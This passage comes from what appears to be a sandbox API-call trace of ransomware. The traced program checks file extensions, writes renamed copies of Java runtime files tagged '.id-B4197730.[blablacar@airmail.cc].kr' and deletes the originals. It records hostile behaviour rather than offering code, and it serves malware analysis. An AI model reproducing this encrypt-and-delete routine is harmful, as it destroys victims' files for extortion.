(lpString=".ppt") returned 4 [0180.569] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0180.569] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56 [0180.569] lstrlenW (lpString=".zip") returned 4 [0180.569] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0180.569] lstrlenW (lpString=".rar") returned 4 [0180.569] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0180.569] lstrlenW (lpString=".bz2") returned 4 [0180.569] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0180.569] lstrlenW (lpString=".7z") returned 3 [0180.569] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0180.569] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56 [0180.569] lstrlenW (lpString=".dbf") returned 4 [0180.569] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0180.569] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56 [0180.569] lstrlenW (lpString=".1cd") returned 4 [0180.569] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0180.569] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56 [0180.569] lstrlenW (lpString=".jpg") returned 4 [0180.569] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0180.569] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56 [0180.570] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56 [0180.570] lstrlenW (lpString=".doc") returned 4 [0180.570] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0180.570] lstrlenW (lpString=".docx") returned 5 [0180.570] lstrcmpiW (lpString1=".docx", lpString2="1.jar") returned -1 [0180.570] lstrlenW (lpString=".pdf") returned 4 [0180.570] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0180.570] lstrlenW (lpString=".xls") returned 4 [0180.570] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0180.570] lstrlenW (lpString=".xlsx") returned 5 [0180.570] lstrcmpiW (lpString1=".xlsx", lpString2="1.jar") returned -1 [0180.570] lstrlenW (lpString=".ppt") returned 4 [0180.570] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0180.570] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56 [0180.570] lstrlenW (lpString=".zip") returned 4 [0180.570] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0180.570] lstrlenW (lpString=".rar") returned 4 [0180.570] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0180.570] lstrlenW (lpString=".bz2") returned 4 [0180.570] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0180.570] lstrlenW (lpString=".7z") returned 3 [0180.570] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0180.570] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56 [0180.570] lstrlenW (lpString=".dbf") returned 4 [0180.570] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0180.570] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56 [0180.570] lstrlenW (lpString=".1cd") returned 4 [0180.570] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0180.570] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56 [0180.570] lstrlenW (lpString=".jpg") returned 4 [0180.570] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0180.571] lstrcmpiW (lpString1=".ttf", lpString2=".kr") returned 1 [0180.571] lstrlenW (lpString="LucidaBrightRegular.ttf") returned 23 [0180.571] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightregular.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x408 [0180.755] GetFileSizeEx (in: hFile=0x408, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=344908) returned 1 [0180.756] CloseHandle (hObject=0x408) returned 1 [0180.756] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightregular.ttf")) returned 0x20 [0180.756] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightregular.ttf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0180.756] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightregular.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x408 [0180.757] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.757] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.757] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightregular.ttf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0180.757] GetLastError () returned 0x0 [0180.757] ReadFile (in: hFile=0x408, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x5434c, lpOverlapped=0x0) returned 1 [0180.769] WriteFile (in: hFile=0x454, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x54350, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x54350, lpOverlapped=0x0) returned 1 [0180.775] ReadFile (in: hFile=0x408, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0180.776] WriteFile (in: hFile=0x454, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x102, lpOverlapped=0x0) returned 1 [0180.776] SetEndOfFile (hFile=0x454) returned 1 [0180.776] CloseHandle (hObject=0x454) returned 1 [0180.784] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.784] SetEndOfFile (hFile=0x408) returned 1 [0180.792] CloseHandle (hObject=0x408) returned 1 [0180.792] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0180.793] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightregular.ttf")) returned 1 [0180.793] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68 [0180.793] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68 [0180.793] lstrlenW (lpString=".doc") returned 4 [0180.794] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0180.794] lstrlenW (lpString=".docx") returned 5 [0180.794] lstrcmpiW (lpString1=".docx", lpString2="r.ttf") returned -1 [0180.794] lstrlenW (lpString=".pdf") returned 4 [0180.794] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0180.794] lstrlenW (lpString=".xls") returned 4 [0180.794] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0180.794] lstrlenW (lpString=".xlsx") returned 5 [0180.794] lstrcmpiW (lpString1=".xlsx", lpString2="r.ttf") returned -1 [0180.794] lstrlenW (lpString=".ppt") returned 4 [0180.794] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0180.794] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68 [0180.794] lstrlenW (lpString=".zip") returned 4 [0180.794] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0180.794] lstrlenW (lpString=".rar") returned 4 [0180.794] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0180.794] lstrlenW (lpString=".bz2") returned 4 [0180.794] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0180.794] lstrlenW (lpString=".7z") returned 3 [0180.794] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0180.794] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68 [0180.794] lstrlenW (lpString=".dbf") returned 4 [0180.794] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0180.794] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68 [0180.794] lstrlenW (lpString=".1cd") returned 4 [0180.794] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0180.794] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68 [0180.794] lstrlenW (lpString=".jpg") returned 4 [0180.794] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0180.794] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68 [0180.794] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68 [0180.794] lstrlenW (lpString=".doc") returned 4 [0180.795] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0180.795] lstrlenW (lpString=".docx") returned 5 [0180.795] lstrcmpiW (lpString1=".docx", lpString2="r.ttf") returned -1 [0180.795] lstrlenW (lpString=".pdf") returned 4 [0180.795] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0180.795] lstrlenW (lpString=".xls") returned 4 [0180.795] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0180.795] lstrlenW (lpString=".xlsx") returned 5 [0180.795] lstrcmpiW (lpString1=".xlsx", lpString2="r.ttf") returned -1 [0180.795] lstrlenW (lpString=".ppt") returned 4 [0180.795] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0180.795] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68 [0180.795] lstrlenW (lpString=".zip") returned 4 [0180.795] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0180.795] lstrlenW (lpString=".rar") returned 4 [0180.795] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0180.795] lstrlenW (lpString=".bz2") returned 4 [0180.795] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0180.795] lstrlenW (lpString=".7z") returned 3 [0180.795] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0180.795] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68 [0180.795] lstrlenW (lpString=".dbf") returned 4 [0180.795] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0180.795] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68 [0180.795] lstrlenW (lpString=".1cd") returned 4 [0180.795] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0180.795] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68 [0180.795] lstrlenW (lpString=".jpg") returned 4 [0180.795] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0180.795] lstrcmpiW (lpString1=".ttf", lpString2=".kr") returned 1 [0180.796] lstrlenW (lpString="LucidaSansDemiBold.ttf") returned 22 [0180.796] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansdemibold.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x460 [0180.970] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=317896) returned 1 [0180.970] CloseHandle (hObject=0x460) returned 1 [0180.970] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansdemibold.ttf")) returned 0x20 [0180.970] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansdemibold.ttf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0181.108] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansdemibold.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x460 [0181.108] SetFilePointerEx (in: hFile=0x460, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.108] SetFilePointerEx (in: hFile=0x460, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.108] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansdemibold.ttf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0181.109] GetLastError () returned 0x0 [0181.109] ReadFile (in: hFile=0x460, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x4d9c8, lpOverlapped=0x0) returned 1 [0181.120] WriteFile (in: hFile=0x45c, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x4d9d0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x4d9d0, lpOverlapped=0x0) returned 1 [0181.126] ReadFile (in: hFile=0x460, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0181.126] WriteFile (in: hFile=0x45c, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x100, lpOverlapped=0x0) returned 1 [0181.127] SetEndOfFile (hFile=0x45c) returned 1 [0181.127] CloseHandle (hObject=0x45c) returned 1 [0181.134] SetFilePointerEx (in: hFile=0x460, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.134] SetEndOfFile (hFile=0x460) returned 1 [0181.314] CloseHandle (hObject=0x460) returned 1 [0181.315] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0181.512] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansdemibold.ttf")) returned 1 [0181.513] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67 [0181.513] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67 [0181.513] lstrlenW (lpString=".doc") returned 4 [0181.513] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0181.513] lstrlenW (lpString=".docx") returned 5 [0181.513] lstrcmpiW (lpString1=".docx", lpString2="d.ttf") returned -1 [0181.513] lstrlenW (lpString=".pdf") returned 4 [0181.513] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0181.513] lstrlenW (lpString=".xls") returned 4 [0181.513] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0181.513] lstrlenW (lpString=".xlsx") returned 5 [0181.513] lstrcmpiW (lpString1=".xlsx", lpString2="d.ttf") returned -1 [0181.513] lstrlenW (lpString=".ppt") returned 4 [0181.513] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0181.513] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67 [0181.513] lstrlenW (lpString=".zip") returned 4 [0181.513] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0181.514] lstrlenW (lpString=".rar") returned 4 [0181.514] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0181.514] lstrlenW (lpString=".bz2") returned 4 [0181.514] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0181.514] lstrlenW (lpString=".7z") returned 3 [0181.514] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0181.514] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67 [0181.514] lstrlenW (lpString=".dbf") returned 4 [0181.514] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0181.514] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67 [0181.514] lstrlenW (lpString=".1cd") returned 4 [0181.514] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0181.514] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67 [0181.514] lstrlenW (lpString=".jpg") returned 4 [0181.514] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0181.514] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67 [0181.514] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67 [0181.514] lstrlenW (lpString=".doc") returned 4 [0181.514] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0181.514] lstrlenW (lpString=".docx") returned 5 [0181.514] lstrcmpiW (lpString1=".docx", lpString2="d.ttf") returned -1 [0181.514] lstrlenW (lpString=".pdf") returned 4 [0181.514] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0181.514] lstrlenW (lpString=".xls") returned 4 [0181.514] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0181.514] lstrlenW (lpString=".xlsx") returned 5 [0181.514] lstrcmpiW (lpString1=".xlsx", lpString2="d.ttf") returned -1 [0181.514] lstrlenW (lpString=".ppt") returned 4 [0181.514] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0181.514] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67 [0181.514] lstrlenW (lpString=".zip") returned 4 [0181.514] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0181.515] lstrlenW (lpString=".rar") returned 4 [0181.515] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0181.515] lstrlenW (lpString=".bz2") returned 4 [0181.515] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0181.515] lstrlenW (lpString=".7z") returned 3 [0181.515] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0181.515] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67 [0181.515] lstrlenW (lpString=".dbf") returned 4 [0181.515] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0181.515] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67 [0181.515] lstrlenW (lpString=".1cd") returned 4 [0181.515] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0181.515] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67 [0181.515] lstrlenW (lpString=".jpg") returned 4 [0181.515] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0181.515] lstrcmpiW (lpString1=".jar", lpString2=".kr") returned -1 [0181.515] lstrlenW (lpString="javaws.jar") returned 10 [0181.515] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javaws.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x408 [0181.516] GetFileSizeEx (in: hFile=0x408, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=944167) returned 1 [0181.517] CloseHandle (hObject=0x408) returned 1 [0181.517] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javaws.jar")) returned 0x20 [0181.517] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javaws.jar.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0181.517] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javaws.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x408 [0181.517] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.517] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.517] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javaws.jar.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x460 [0181.519] GetLastError () returned 0x0 [0181.519] ReadFile (in: hFile=0x408, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0xe6827, lpOverlapped=0x0) returned 1 [0181.645] WriteFile (in: hFile=0x460, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0xe6830, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0xe6830, lpOverlapped=0x0) returned 1 [0181.662] ReadFile (in: hFile=0x408, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0181.662] WriteFile (in: hFile=0x460, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0xe8, lpOverlapped=0x0) returned 1 [0181.662] SetEndOfFile (hFile=0x460) returned 1 [0181.968] CloseHandle (hObject=0x460) returned 1 [0182.388] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.388] SetEndOfFile (hFile=0x408) returned 1 [0182.409] CloseHandle (hObject=0x408) returned 1 [0182.409] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0182.410] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javaws.jar")) returned 1 [0182.410] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49 [0182.410] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49 [0182.410] lstrlenW (lpString=".doc") returned 4 [0182.410] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0182.410] lstrlenW (lpString=".docx") returned 5 [0182.410] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1 [0182.410] lstrlenW (lpString=".pdf") returned 4 [0182.411] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0182.411] lstrlenW (lpString=".xls") returned 4 [0182.411] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0182.411] lstrlenW (lpString=".xlsx") returned 5 [0182.411] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1 [0182.411] lstrlenW (lpString=".ppt") returned 4 [0182.411] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0182.411] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49 [0182.411] lstrlenW (lpString=".zip") returned 4 [0182.411] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0182.411] lstrlenW (lpString=".rar") returned 4 [0182.411] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0182.411] lstrlenW (lpString=".bz2") returned 4 [0182.411] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0182.411] 